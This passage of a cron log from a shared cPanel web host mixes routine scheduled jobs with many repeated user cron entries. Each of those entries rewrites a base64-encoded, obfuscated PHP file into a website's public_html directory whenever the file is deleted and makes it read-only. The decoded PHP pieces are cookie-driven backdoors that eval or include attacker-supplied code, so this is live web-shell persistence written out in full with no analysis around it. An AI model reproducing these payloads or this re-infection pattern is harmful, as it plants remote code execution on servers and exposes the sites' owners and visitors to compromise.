"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:13:02 medusa CROND[4225]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 04:13:02 medusa CROND[4234]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:13:02 medusa CROND[4235]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 04:13:02 medusa CROND[4236]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:13:02 medusa CROND[4239]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:14:01 medusa CROND[21516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:14:01 medusa CROND[21595]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:14:01 medusa CROND[21630]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:14:01 medusa CROND[21634]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:14:01 medusa CROND[21635]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:14:01 medusa CROND[21636]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:14:01 medusa CROND[21637]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:14:01 medusa CROND[21641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:14:01 medusa CROND[21647]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:14:01 medusa CROND[21650]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:14:01 medusa CROND[21651]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:14:01 medusa CROND[21652]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:14:01 medusa CROND[21654]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:15:01 medusa CROND[9139]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:15:01 medusa CROND[9275]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:15:01 medusa CROND[9330]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:15:01 medusa CROND[9429]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:15:01 medusa CROND[9431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:15:01 medusa CROND[9432]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:15:01 medusa CROND[9433]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:15:01 medusa CROND[9434]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:15:01 medusa CROND[9435]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:15:01 medusa CROND[9438]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:15:01 medusa CROND[9437]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:15:01 medusa CROND[9439]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
